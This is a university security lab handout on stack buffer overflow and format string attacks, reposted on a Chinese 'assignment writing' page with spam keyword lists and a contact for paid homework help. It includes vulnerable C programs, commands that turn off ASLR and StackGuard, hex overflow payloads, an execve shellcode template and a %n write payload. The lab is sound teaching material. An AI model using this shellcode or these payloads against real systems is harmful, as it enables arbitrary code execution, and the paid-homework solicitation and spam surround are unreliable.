日韩精品一区二区三区高清_久久国产热这里只有精品8_天天做爽夜夜做爽_一本岛在免费一二三区

合肥生活安徽新聞合肥交通合肥房產生活服務合肥教育合肥招聘合肥旅游文化藝術合肥美食合肥地圖合肥社保合肥醫院企業服務合肥法律

代寫IERG 4130、代做c/c++設計編程

時間:2023-12-13  來源:合肥網hfw.cc  作者:hfw.cc 我要糾錯



IERG 4130 Lab 5: Buffer overflow && format string attack
[65 pts]
Submission format
1. The file format should be PDF
2. The file should be submitted with the file name in the format "{course code}_LAB{i}_{Dept}_{Sid}". For
example, "IERG4130_LAB1_IE_1155xxxxxx.pdf".
0. Establish the experiment environment [0 pt]
1. Please download the VM
1. Download VirtualBox and the SEED Ubuntu-20.04 VM. Choose Ubuntu 20.04 VM , and
download from Google Drive or DigitalOcean.
2. Refer to the VM Manual to configure your VM.
2. Please download the zip file lab5.zip from Blackboard, put it into the VM, and unzip it.
1. Buffer Overflow Attack [45 pts + optional bonus 15 pts ]
1.1 Turning off Countermeasures
Before starting this lab, we need to make sure the address randomization countermeasure is turned off;
otherwise, the attack will be difficult. You can do it using the following command:
1.2 The Vulnerable Program
The vulnerable program used in this lab is called stack.c . This program has a buffer-overflow
vulnerability, and your job is to exploit this vulnerability and gain the coupon from ParknShop company.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
#include <stdio.h>
#include <time.h>
#include <unistd.h>
int get_coupon(){
puts("\nCongrats!!");
time_t curtime;
time(&curtime);
printf("You receive the coupon at %s", ctime(&curtime));
return 0;
}
The above program has a buffer overflow vulnerability on the stack. It reads data from the standard input,
and then end the program without giving any coupon. The original input can have a maximum length of 40
bytes, but the buffer in read_name() is only 12 bytes long, which is less than 40. Because read does not
check boundaries, buffer overflow will occur.
If users can exploit this buffer overflow vulnerablity, they can get a coupon from this program.
1.3 Compilation
To compile the above vulnerable program, we need to turn off the StackGuard and the non-executable
stack protections using the -fno-stack-protectorand and -z execstack options.
We will compile the stack program into **-bit binaries. Our pre-built Ubuntu 20.04 VM is a 64-bit VM, but
it still supports **-bit binaries. All we need to do is to use the -m** option in the gcc command. For **-bit
compilation, we also use -static to generate a statically-linked binary, which is self-contained and not
depending on any dynamic library, because the **-bit dynamic libraries are not installed in our containers.
The following is the compilation command.
int input_name(){
char buf[12];
read(0,buf,180);
return 0;
}
int main(void){
puts("=========Stack Buffer Overflow is easy=========");
puts("Welcome to online coupon system...");
puts("See if you have the chance to get the coupon!");
puts("Please input your name:");
fflush(stdout);
input_name();
puts("Sorry, you are not lucky this time."); // PxxxxShop company doesn't want to
give anyone coupon.
return 0;
}
$ gcc -g -z execstack -fno-stack-protector -o stack -static -m** stack.c
1.4 Task 1: Get the program to segmentation fault [5 pts]
The ultimate goal of buffer-overflow attacks is to hijack the control flow or inject malicious code into the
target program, so the code can be executed using the target program’s privilege. Before that goal, a bufferoverflow would easily violate the availability of program.
Let's run the program to see what's going on. After compilation, use the following command to run the
program.
However, this program would not let you get the coupon when you input your name as normal. (Note:
although we provide the source code here, it doesn't mean that you can change the code to call the
get_coupon() directly and recompile the code to run. Here, the source code is for your understanding and
we have to use user input to attack the program. In real world, the source code is usually not available and
we can only obtain the compiled binary. Usually, attacker will leverage reverse engineering to decompile
the binaries to find vulnerabilities.)
Task (requires screenshots): Please provide a user input that can cause the program to crash with
Segmentation fault , and explain in your own words what is a Segmentation fault . (Providing only a
user input will not earn any points for this task.)
1.5 Task 2: use gdb to debug program [5 pts]
Before we exploit the program, we need to know how to use gdb to dynamically debug the program. The
pre-built VM already installed the gdb with peda . The common commands in gdb are provided in Tutorial07 Slides p5-p7.
Use the following command to debug the program stack with gdb.
Since we use -g option to compile the program, the symbol table (information of function name, variable
name) is kept in the binary for debugging. We can directly disassemble a function using its name.
$ ./stack
=========Stack Buffer Overflow is easy=========
Welcome to online coupon system...
See if you have the chance to get the coupon!
Please input your name:
XXX
Sorry, you are not lucky this time.
$ gdb stack
gdb-peda$ disas main
Dump of assembler code for function main:
 ......
End of assembler dump.
We can also make breakpoint at certain function using its name. Then run the program and we would stop
at the breakpoint (the first assemble instruction in function input_name() )
We can use ni , si , continue to continue running the program.
gdb-peda provide us a well-structured GUI to show the current Registers value, current Code, current
Stack.
We can use x/8wx ADDRESS to print out the memory value starting from ADDRESS. (In this case, we print
out 8 values and each value is in 4-byte hex format.)
gdb-peda$ break input_name
gdb-peda$ run
gdb-peda$ continue
Continuing.
XXX
Sorry, you are not lucky this time.
[Inferior 1 (process 3440433) exited normally]
...
gdb-peda$
As shown in the Tutorial-07 Slides p7, w in x/8wx ADDRESS can be replaced with b/h/g (each value with
1/2/8 bytes). w means 4 bytes long.
x/**bx 0xffffd09c prints the same memory value as x/8wx 0xffffd09c in the above figure. However,
we found that the order printed by the later command is inverse. This is because CPU here is little-endian
(what is little-endian?).
Task (requires screenshots): Please make two breakpoints, the first one is at read(0,buf,40); in
function input_name() , the second one is at return 0; in function input_name() . And run the program
to exit normally in gdb.
1.6 Task 3: Attack the program to hijack control flow [20 pts + bonus 15 pts]
For this task, we want to exploit the stack buffer overflow to get the coupon. From the source code, we can
see that there is already a function get_coupon() provided in the program, but it is never called. However,
we can use the buffer overflow vulnerability to hijack the control flow and redirect it to get_coupon() via
user input.
The reason the buffer overflow vulnerability occurs here is that read(0, buf, 40) allows the user to input
40 bytes, but the buf is only 12 bytes long. This means that we can overwrite 28 bytes value on the stack.
We can use gdb to observe this procedure and understand the principle of the buffer overflow
vulnerability.
By finising above tasks, you already learned how to make breakpoints at read(0,buf,40); and return
0; in function input_name() . Now, we first provide a valid input that would not crash the program and
observe the value on the stack.
After giving the input, we observe that there are indeed 12 bytes written as 0x61616161 0x61616161
0x61616161 from address 0xffffd084 to address 0xffffd08f .
gdb-peda$ x/10wx 0xffffd070
gdb-peda$ ni
aaaaaaaaaaaabbbbccccddd
Task [5 pts]: Actually, if you are looking closely, we have already overwritten a byte. Please indicate which
byte value, at which address, was overwritten and provide the value it was overwritten with. Finally, explain
why this occurred.
Let's try another run to overwrite or Smash the stack.
Here, we give an invalid input to overwrite the stack. We observe that we successfully over wrote the later
12 bytes.
We can use below command to directly input hex values in gdb.
We can also use below command to directly input hex values in terminal.
gdb-peda$ run <<< $(echo -en
'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x
64\x64')
Task [15 pts] (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to
obtain the coupon by redirecting the control flow to get_coupon() . The attack payload should be
demonstrated and explained as to why it is crafted this way.
Note: Please perform the attack in the terminal, finally. Here is the successful screenshot. It's ok to have
segmentation fault finally in this attack.
1.7 Task [Optional: Bonus 15 pts]: Attack the program to inject malicious shellcode.
However, get the coupon is not enough for super attacker. The ultimate attack goal is to run any malicious
code. Shellcode help us achieve this.
To alleviate your workload, we provide a python script with shellcode template to generate shellcode that
execute malicious code. The file is shellcode_**.py .
$ ./stack <<< $(echo -en
'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x62\x62\x62\x62\x63\x63\x63\x63\x64\x
64\x64')
#!/usr/bin/python3
import sys
# You can use this shellcode to run any command you want
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x**\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/ls -l;echo hacked by 1155XXXXXX;echo bof is easy 4 me*"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
Replace the student ID 1155XXXXXX with your own one and use below command to generate the shellcode.
Task (requires screenshots): Please exploit the stack buffer overflow vulnerability in order to inject the
shellcode and execute it. The attack payload should be fully demonstrated and explained as to why it is
crafted this way.
Note: The address of the program running in GDB maybe different from the one running in the terminal.
So please perform the attack in GDB, finally. You could also try performing the attack in the terminal, but
it requires a bit more effort.
The screenshot of successful attack in GDB is below.
The screenshot of successful attack in terminal is below.
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
# Output the shell code to stdout
res = ''.join("\\x"+format(x, '02x') for x in shellcode)
print(res)
1.8 Task 4: Experimenting with the Address Randomization [5 pts]
At the beginning of this lab, we turned off one of the countermeasures, the Address Space Layout
Randomization (ASLR). In this task, we will turn it back on, and see how it affects the attack. You can run the
following command on your VM to enable ASLR. This change is global, and it will affect all the programs
running inside the VM.
We provide another program source code stack-defense.c for this task, please use the below
command to compile the program.
We also provide the python script generate-stack-defense-payload.py to generate a attack payload
against the stack-de .
First, run the stack-de program in terminal after compilation. This will provide you a address.
Use provided generate-stack-defense-payload.py script to generate an attack payload that inject
shellcode.
Then we can attack the program by using below command.
We first still turn off the ASLR.
Then use the generated attack payload to attack the program.
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ gcc -g -z execstack -fno-stack-protector -o stack-de -static -m** stack-defense.c
$ python3 generate-stack-defense-payload.py 0xffffd0**
$ ./stack-de <<< $(echo -en '\x60\xc0\xff\xff...')
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
We can see this attack payload works successfully when turnning off the ASLR.
Now, let's try turn ASLR back on and see if the payload still works again.
Task (requires screenshots): Please provide the attack result when we enable ASLR protection. Also,
please observe the printed address each time after enable ASLR protection.
Note: After finishing this task, please turn off the ASLR again.
1.9 Task 5: Experimenting with the StackGuard [5 pts]
Many compiler, such as gcc, implements a security mechanism called StackGuard to prevent buffer
overflows. In the presence of this protection, buffer overflow attacks will not work. The provided vulnerable
programs were compiled without enabling the StackGuard protection. In this task, we will turn it on and see
what will happen.
Please use this command to recompile the stack-defense.c
Task (requires screenshots): Please use the generated attack payload to attack against the program
( stack-de ) again to see if the attack still works.
1.10 Task 6: Experimenting with the Non-executable Stack Protection (5 pts)
Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ gcc -g -z execstack -o stack-de -static -m** stack-defense.c
automatically by the gcc, which by default makes stack non-executable. We can specifically make it nonexecutable using the -z noexecstack flag in the compilation. In our previous tasks, we used -z
execstack to make stacks executable.
In this task, we will make the stack non-executable. Please use this command to recompile stackdefense.c .
Now, try use the generated attack payload to attack against the program stack-de again.
Task (requires screenshots): Please provide the attack result when we enable non-executable stack
protection.
2. Format String Attack [20 pts]
2.1 Turning off Countermeasures
Modern operating systems uses address space randomization to randomize the starting address of heap
and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps
of the format-string attack. To simplify the tasks in this lab, we turn off the address randomization using the
following command:
2.2 The Vulnerable Program
$ gcc -g -fno-stack-protector -o stack-de -static -m** stack-defense.c
$ sudo sysctl -w kernel.randomize_va_space=0
#include <stdio.h>
#include <unistd.h>
int magic = 0;
int main(void){
char buf[256];
puts("Please guess the magic!");
printf("Give me magic:");
fflush(stdout);
read(0, buf, 256);
printf(buf);
if (magic == 23) {
puts("\nCongrats!! Format string attack is eazy.");
The above program has a format string vulnerability on the stack. It reads data from the standard input,
and then the input data is fed into the printf() function, which leads to a format-string vulnerability.
2.3 Compilation
Please use the below command to compile the program format .
2.4 Task 7: Read arbitary memory [10 pts]
Use gdb to debug the format program.
Diassemble the main function to make a breakpoint at printf(buf);
Then run the program in GDB.
Now, we will stop at the stage that requires user input.
The first trick in format string attack is to use printf("%7$p"); . This means that if user input can control
the value in printf, then we can feed %7$p to print out the memory value of 7th parameter on the stack.
We can change the number 7 to other number to print out other parameters on the stack.
Let's input the below content and continue the program.
 } else {
puts("Oops. You don't have the magic.");
 }
}
gcc -z execstack -static -m** -o format format.c
$ gdb format
gdb-peda$ disas main
gdb-peda$ break *ADDRESS
gdb-peda$ run
aaaa%7$p
Since we make breakpoint at the vulnerable statement printf(buf); , we will stop at this breakpoint.
Continue running the program, we will see the leaked memory value.
As shown, the printed memory value is exactly the aaaa string in hex format.
Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.
2.5 Task 8: write arbitary memory to change the magic [10 pts]
From the source code of vulnerable program, we want to exploit this format string vulnerability to over
write the value in magic variable from 0 to 23.
To achieve this, we need to know another trick in format string.
One is to use %7$n , which can overwrite the value of 7th parameter on the stack. The written value
will be the number of chars (bytes) that is printed.
Another one is to use %19c , which can print 19 chars to the terminal.
It's ok to not understand these tricks. All you need to know is that we can combine above tricks to one to
overwrite any value we want. That is, printf("%19c%7$n") can let us write the value of 7th parameter on
the stack to 19 (in decimal).
Let's try this trick to overwrite the value of magic variable. First, we need to get the address of magic
variable. We can use gdb to do this.
Then we can input this address first and it will be put on the 7th on the stack. We also input the trick
%19c%7$n followed the address to overwrite the value to 23. (Why is 23: because the address value is
printed first and counted as 4 bytes, and plus our 19 bytes printed by %19c )
The final payload is below:
Task (requires screenshots): Please follow the above steps to reproduce the result in GDB.
gdb-peda$ x/x &magic
echo -en '\xdc\x62\x0e\x08%19c%7$n'
Credit
The lab partly refers to the SeedLab 2.0. The lab is for teaching with no commercial usage.

請加QQ:99515681 或郵箱:99515681@qq.com   WX:codehelp

掃一掃在手機打開當前頁
  • 上一篇:COMP2396代做、代寫Tic-Tac-Toe Game設計編程
  • 下一篇:CMT120代做、Python/Java設計程序代寫
  • 無相關信息
    合肥生活資訊

    合肥圖文信息
    2025年10月份更新拼多多改銷助手小象助手多多出評軟件
    2025年10月份更新拼多多改銷助手小象助手多
    有限元分析 CAE仿真分析服務-企業/產品研發/客戶要求/設計優化
    有限元分析 CAE仿真分析服務-企業/產品研發
    急尋熱仿真分析?代做熱仿真服務+熱設計優化
    急尋熱仿真分析?代做熱仿真服務+熱設計優化
    出評 開團工具
    出評 開團工具
    挖掘機濾芯提升發動機性能
    挖掘機濾芯提升發動機性能
    海信羅馬假日洗衣機亮相AWE  復古美學與現代科技完美結合
    海信羅馬假日洗衣機亮相AWE 復古美學與現代
    合肥機場巴士4號線
    合肥機場巴士4號線
    合肥機場巴士3號線
    合肥機場巴士3號線
  • 短信驗證碼 trae 豆包網頁版入口 目錄網 排行網

    關于我們 | 打賞支持 | 廣告服務 | 聯系我們 | 網站地圖 | 免責聲明 | 幫助中心 | 友情鏈接 |

    Copyright © 2025 hfw.cc Inc. All Rights Reserved. 合肥網 版權所有
    ICP備06013414號-3 公安備 42010502001045

    日韩精品一区二区三区高清_久久国产热这里只有精品8_天天做爽夜夜做爽_一本岛在免费一二三区

      <em id="rw4ev"></em>

        <tr id="rw4ev"></tr>

        <nav id="rw4ev"></nav>
        <strike id="rw4ev"><pre id="rw4ev"></pre></strike>
        一级成人国产| 亚洲福利精品| 欧美极品欧美精品欧美视频| 久久丁香综合五月国产三级网站| 国产视频在线一区二区| 国产精品久久999| 亚洲精品国产品国语在线app| 麻豆91精品| 欧美在线播放| 一区在线播放| 欧美在线视频免费| 欧美日韩精品一区视频| 一本到高清视频免费精品| 久久久久久高潮国产精品视| 欧美一区激情视频在线观看| 亚洲精品日韩综合观看成人91| 国产喷白浆一区二区三区| 亚洲性线免费观看视频成熟| 欧美高潮视频| 国产精品mv在线观看| 欧美成人福利视频| 久久漫画官网| 欧美体内she精视频| 国产日韩亚洲| 国产精品一区二区久激情瑜伽| 午夜一级在线看亚洲| 国产一区二区三区四区五区美女| 亚洲精品国产精品国自产在线| 欧美日韩理论| 久久久久久久波多野高潮日日| 国产精品久久久91| 亚洲网站视频| 日韩视频第一页| 99精品99久久久久久宅男| 欧美丰满少妇xxxbbb| 1024日韩| 小辣椒精品导航| 国产精品av久久久久久麻豆网| 另类春色校园亚洲| 亚洲精品一区在线观看香蕉| 亚洲人成欧美中文字幕| 欧美日韩福利视频| 亚洲日本中文字幕免费在线不卡| 欧美日韩一区二区在线视频| 日韩午夜中文字幕| 久久久777| 国产精品网站在线| 久久精品日产第一区二区| 国产精品成人在线观看| 亚洲夜晚福利在线观看| 亚洲精品乱码久久久久| 国产综合色一区二区三区| 国产精品第十页| 欧美成人精品三级在线观看| 国产日韩精品一区二区| 欧美在线观看网址综合| 亚洲调教视频在线观看| 亚洲区一区二| 久久久久久伊人| 欧美久久精品午夜青青大伊人| 国产综合久久久久久| aaa亚洲精品一二三区| 国产精品在线看| 在线综合+亚洲+欧美中文字幕| 欧美视频在线观看| 国产亚洲一区二区在线观看| 国产一区二区三区在线观看免费视频| 国产一区香蕉久久| 亚洲精品在线免费观看视频| 亚洲日本无吗高清不卡| 欧美+亚洲+精品+三区| 91久久综合| 悠悠资源网久久精品| 亚洲第一页中文字幕| 99精品久久免费看蜜臀剧情介绍| 亚洲精品综合在线| 麻豆精品精品国产自在97香蕉| 麻豆成人小视频| 日韩视频一区二区三区在线播放免费观看| 亚洲精品一品区二品区三品区| 亚洲精品三级| 亚洲专区一区| 亚洲精品1区2区| 国内一区二区三区在线视频| 亚洲二区视频| 美国成人毛片| 99视频精品免费观看| 欧美日韩一区二区三区高清| 91久久精品一区二区三区| 久久精品人人做人人爽| 亚洲一区二区网站| 亚洲欧美另类在线观看| 久久亚洲风情| 亚洲永久精品国产| 亚洲免费福利视频| 国产精品网站在线观看| 亚洲免费高清| 国产一区二区在线观看免费播放| 午夜精品久久久久久久久久久久| 国产综合激情| 久久久综合视频| 欧美特黄a级高清免费大片a级| 国产午夜一区二区三区| 欧美日韩国产在线看| 久久嫩草精品久久久久| 久久久精品一区| 久久久综合激的五月天| 99成人精品| 亚洲制服丝袜在线| 欧美另类69精品久久久久9999| 日韩亚洲欧美在线观看| 国产欧美日韩精品一区| 国产亚洲福利一区| 原创国产精品91| 久久久久久九九九九| 亚洲国产一区二区三区a毛片| 欧美激情在线免费观看| 欧美精品www在线观看| 欧美激情一级片一区二区| 国产主播精品在线| 国产亚洲精品7777| 免费久久99精品国产| 国语自产精品视频在线看8查询8| 国产精品99久久久久久久久| 欧美亚洲免费在线| 亚洲人在线视频| 亚洲九九九在线观看| 欧美国产亚洲视频| 欧美激情区在线播放| 亚洲综合社区| 性欧美暴力猛交另类hd| 国产精品视频久久一区| 在线成人h网| 欧美一区国产一区| 国产综合色一区二区三区| 国产亚洲一区二区三区| 亚洲精品久久久久久一区二区| 国产欧美亚洲视频| 亚洲一区二区四区| 欧美视频第二页| 欧美人与性动交α欧美精品济南到| 一本色道久久88综合亚洲精品ⅰ| 99精品黄色片免费大全| 一区二区三区欧美亚洲| 在线视频欧美一区| 国产精品男gay被猛男狂揉视频| 99re热精品| 亚洲午夜国产一区99re久久| 亚洲欧美另类在线观看| 91久久久久久国产精品| 欧美三级在线视频| 亚洲资源在线观看| 久久蜜桃资源一区二区老牛| 国内久久精品视频| 麻豆精品在线观看| 你懂的国产精品| 欧美福利视频一区| 娇妻被交换粗又大又硬视频欧美| 欧美精品久久久久久| 亚洲欧美一区在线| 国产精品国码视频| 亚洲图中文字幕| 亚洲欧美日韩综合一区| 国产一区二区欧美日韩|